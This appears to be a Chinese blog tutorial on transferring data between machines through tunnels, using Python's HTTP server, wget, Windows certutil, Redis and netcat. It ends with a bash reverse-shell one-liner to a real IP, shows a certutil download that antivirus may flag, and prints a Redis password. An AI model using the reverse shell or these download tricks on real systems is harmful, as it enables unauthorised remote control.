两台机器间数据通信的几种方法
郝伟 2020/12/03
本文介绍了几种方法,用于两台机器间的数据通信,以满足以下景描述:
现在有三台机器,连接关系如下所示:
H <–> T <–> S
现在是H开了隧道T来连接,T开了隧道S来连接。
约定条件:
1)多平台,Linux和Windows下都要可用;
2)端口要随机;
针对此场景,以下方法有如下约定:
~/data/a.txt 文件中;优点:简单易用,不需要安装任何第三方库。
缺点:功能简单
第1步:在B上,进入目录 ~/data ,然后运行以下命令,以开启HTTP服务:
python3 -m http.server 8288 1>> logs.txt 2>>errors.txt &
第2步:在A上,通过以下命令获得 a.txt:
wget http://121.199.10.158:8288/a.txt
返回信息如下:
root@server00:~# wget http://121.199.10.158:8288/a.txt --2020-12-07 10:46:16-- http://121.199.10.158:8288/a.txt Connecting to 121.199.10.158:8288... connected. HTTP request sent, awaiting response... 200 OK Length: 27 [text/plain] Saving to: ‘a.txt’ a.txt 100%[=================================================>] 27 --.-KB/s in 0s 2020-12-07 10:46:16 (8.79 MB/s) - ‘a.txt’ saved [27/27]
第1步:在B上,进入目录 ~/data ,然后运行以下命令,以开启HTTP服务:
python -m http.server 8288 1>> logs.txt 2>>errors.txt &
第2步:使用certutil下载
C:\Users\Administrator>certutil -urlcache -split -f http://121.199.10.158:8288/a.txt **** Online **** 0000 ... 001b CertUtil: -URLCache command completed successfully. C:\Users\Administrator>dir a.txt Volume in drive C is Win10 Volume Serial Number is 0000-B0B4 Directory of C:\Users\Administrator 2020/12/07 10:51 27 a.txt 1 File(s) 27 bytes 0 Dir(s) 824,709,177,344 bytes free C:\Users\Administrator>type a.txt 2020/12/07 This is a test.
注1:如果不想显示过多信息,Windows下同样可以在命令末尾追加 >>log.txt 直接记录至文件中。
注2:Windows平台上下载时,如果装了防病毒软件,执行时可能会因此导致执行失败。
优点:简单易用,可靠性强
缺点:需要安装Redis
第1步:在A或B上安装redis,命令如下:
wget http://download.redis.io/releases/redis-6.0.9.tar.gz tar xzf redis-6.0.9.tar.gz cd redis-6.0.9 make src/redis-server
第2步:通过以下命令登陆:
src/redis-cli -h host_ip -p port -a password
即可对同一个redis服务器进行操作,从而实现数据共享。
当一台机器使用 set key value 写入数据,另一台机器即可使用 get key 读取。
以下为两台机器测试结果,其中A装有redis服务。
测试内容为:先在B上设置键值 test 的内容为 12345。然后让机器A读取。
root@root:~/redis-6.0.9# src/redis-cli -h 121.199.10.158 -p 8188 -a root00 Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 121.199.10.158:8188> get test (nil) 121.199.10.158:8188> set test 12345 OK 121.199.10.158:8188>
root@server00:~# /opt/redis-6.0.9/src/redis-cli 127.0.0.1:6379> get test (nil) 127.0.0.1:6379> exit root@server00:~# /opt/redis-6.0.9/src/redis-cli -h 121.199.10.158 -p 8188 -a root00 Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 121.199.10.158:8188> get test "12345" 121.199.10.158:8188> config get requirepass 1) "requirepass" 2) "root00" 121.199.10.158:8188>
注意:如果在机器A上安装了服务,使用本地登陆,数据无法与机器B同步,必需远程登陆才可以。
方法类似(略)。
优点:功能强大
缺点:需要安装第三方库,同时需要编程。
简介:A安装Node.js,然后编写代码,对B传送给A的数据进行处理。
简介:A安装了Tomcat服务,可以运行JSP,B调用A的接口,通过Post传送数据。
优点:功能强大、易于使用、可靠性好
缺点:需要安装第三方库,同时需要编程。
先在 A 上打开监听:
nc -lvp 8102 > a.txt
然在 B 上传递文件
nc 121.199.10.158 8102 < ~/data/a.txt
执行完成后,B上的文件就会传递到A上。
另,如果只是传递消息可以使用A创建B的反弹Shell:
# 本机 nc -lvp 8102 # 目标 bash -i >& /dev/tcp/121.199.10.158/8102 0>&1